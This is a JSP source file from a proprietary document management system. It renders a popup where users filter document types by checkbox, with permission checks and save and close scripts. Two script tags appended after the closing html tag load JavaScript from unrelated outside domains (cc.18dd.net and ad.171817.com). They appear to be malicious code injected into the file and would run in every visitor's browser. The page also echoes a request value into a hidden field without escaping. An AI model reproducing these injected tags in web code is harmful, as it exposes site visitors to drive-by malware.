<%
/*
 * @(#)DmsFilterDocType.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  DmsFilterDocType.jsp

  This class is reflecting business logic uses.

    @author           Jenny Li
    @company          DCIVision Limited
    @creation date    23/05/2005
    @version          $Revision: 1.9.4.4 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.text.*"%>
<%@ page import="javax.servlet.jsp.*"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.dms.*" %>
<%@ page import="com.dcivision.dms.bean.* "%>
<%@ page import="com.dcivision.dms.core.*"%>
<%@ page import="com.dcivision.dms.dao.*"%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="dmsFilterDocTypeForm" scope="request" class="com.dcivision.dms.web.DmsFilterDocTypeForm"/>

<%
String displayDocType=dmsFilterDocTypeForm.getDisplayDocType();
PermissionManager permissionManager = sessionContainer.getPermissionManager();
boolean hasPaperDocRight=permissionManager.hasAccessRight(SystemFunctionConstant.DMS_PAPER_DOCUMENT,"R");
boolean hasCompoundDocRight=permissionManager.hasAccessRight(SystemFunctionConstant.DMS_COMPOUND_DOCUMENT,"R");
boolean enablePaperDoc=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.DMS_ENABLE_PAPER_DOCUMENT);
boolean textOnly=false;
if(GlobalConstant.NAV_MODE_EDIT.equals(dmsFilterDocTypeForm.getNavMode())){
  textOnly=true;
}
%>

<html>
<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<!-- Common Stylesheet End -->
<!-- Common Javascript Begin -->
<script language="Javascript"> <jsp:include page="/js/Variable.jsp"/> </script> 
<script language="Javascript" src="<%= request.getContextPath() %>/js/Framework.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/PopupWindow.js" charset="UTF-8" type="text/javascript"></script>
<script language="Javascript" src="<%= request.getContextPath() %>/js/OverLib.js" charset="UTF-8" type="text/javascript"></script>
<script language="javascript">
g_curr_function_code = "<%=request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)%>";
</script>
<%//if (request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)!=null && ((String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY)).startsWith("DMS")) {%>
<script language="Javascript" src="<%= request.getContextPath() %>/js/DMSFunction.jsp?dummy=<%=Utility.getCurrentTimestamp().getTime()%>" charset="UTF-8" type="text/javascript"></script>
<%//}%>
<script language="Javascript" src="<%= request.getContextPath() %>/jsp/customize/CustomizedJS.jsp" charset="UTF-8" type="text/javascript"></script>
</head>

<script language="javascript">
<!--


var fromSave=false;
function OpCustSave(){    
  var hasDocumentType=false;
   for (var i = 0; i < document.dmsFilterDocTypeForm.elements.length; i++) {
    if (document.dmsFilterDocTypeForm.elements[i].name == "documentType") {
      if (document.dmsFilterDocTypeForm.elements[i].checked) {
        hasDocumentType = true;

        break;
      }
     }
   }
   if(!hasDocumentType){
     alert("<bean:message key='dms.label.select_doc_type'/>");
     return true;
   }
  fromSave=true;
  OpSave();
  return false;
  
}



function OpClose(){
  window.close();
}


function opCheckUnload(){
 if(fromSave==true){
    window.opener.location.reload();
  }
  window.focus();
}


-->
</script>


<html:form type="dmsFilterDocTypeForm" action="dms/DmsFilterDocType" >
<html:javascript formName="dmsFilterDocTypeForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<body  onUnload="opCheckUnload();" bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000" ><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<layout:titleFormat><font class="pageTitle"></font>Filter Document Type</layout:titleFormat>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<input type="hidden" name="displayDocType" value="<%=displayDocType%>">

<table width="100%" cellpadding="20" cellspacing="0" border="0"><tr><td>
<!-- System And Error Messages Begin -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>

<table cellpadding="0" cellspacing="0" border="0" width="100%">
  <tr>
    <td><layout:sectionHeader name='dms.label.select_doc_type' mandatory='false'/></td>
  </tr>
  <tr>
    <td><html:checkbox property="documentType" value="<%=DmsDocument.DOCUMENT_TYPE%>" textOnly="<%=textOnly%>"><bean:message key='dms.label.doc_type_D'/></html:checkbox></td>
  </tr>
  <tr>
    <td><html:checkbox property="documentType" value="<%=DmsDocument.FOLDER_TYPE%>" textOnly="<%=textOnly%>"><bean:message key='dms.label.doc_type_Z'/></html:checkbox></td>
  </tr>
  <tr>
    <td><html:checkbox property="documentType" value="<%=DmsDocument.DOCUMENT_LINK%>" textOnly="<%=textOnly%>"><bean:message key='dms.label.doc_type_L'/></html:checkbox></td>
  </tr>
  <%if(hasCompoundDocRight){%>
  <tr>
    <td><html:checkbox property="documentType" value="<%=DmsDocument.COMPOUND_DOC_TYPE%>" textOnly="<%=textOnly%>"><bean:message key='dms.label.doc_type_C'/></html:checkbox></td>
  </tr>
  <%}%>
  <%if(hasPaperDocRight && enablePaperDoc){%>
  <tr>
    <td><html:checkbox property="documentType" value="<%=DmsDocument.PAPER_DOC_TYPE%>" textOnly="<%=textOnly%>"><bean:message key='dms.label.doc_type_H'/></html:checkbox></td>
  </tr>
  <%}%>
  <tr>
    <td><html:checkbox property="documentType" value="<%=DmsDocument.EMAIL_DOC_TYPE%>" textOnly="<%=textOnly%>"><bean:message key='dms.label.doc_type_E'/></html:checkbox></td>
  </tr>
  <!-- joan.xiong update code for bug EIP-1167 by 2006/12/11>
  <tr>
    <td><html:checkbox property="documentType" value="<%=DmsDocument.FORM_DOC_TYPE%>" textOnly="<%=textOnly%>"><bean:message key='dms.label.doc_type_F'/></html:checkbox></td>
  </tr>
  <tr>
   <td><html:checkbox property="documentType" value="<%=DmsDocument.FLOW_DOC_TYPE%>" textOnly="<%=textOnly%>"><bean:message key='dms.label.doc_type_W'/></html:checkbox></td>
  </tr>
  <-- joan.xiong update code end -->
  <tr>
    <td align="center">
      <%if(Utility.isEmpty(dmsFilterDocTypeForm.getNavMode()) || GlobalConstant.NAV_MODE_NEW.equals(dmsFilterDocTypeForm.getNavMode())){%>
        <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
      <%}else if(GlobalConstant.NAV_MODE_EDIT.equals(dmsFilterDocTypeForm.getNavMode())){%>
        <html:standardButton label="common.label.edit" link='<%="DmsFilterDocType.do?displayDocType="+displayDocType+"&navMode="+GlobalConstant.NAV_MODE_NEW%>'/> 	
      <%}%>
      <html:standardButton label="common.label.close" onClick="return OpClose();"/>
    </td>
  </tr>
</table>


</td></tr></table>
</html:form>
</body>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>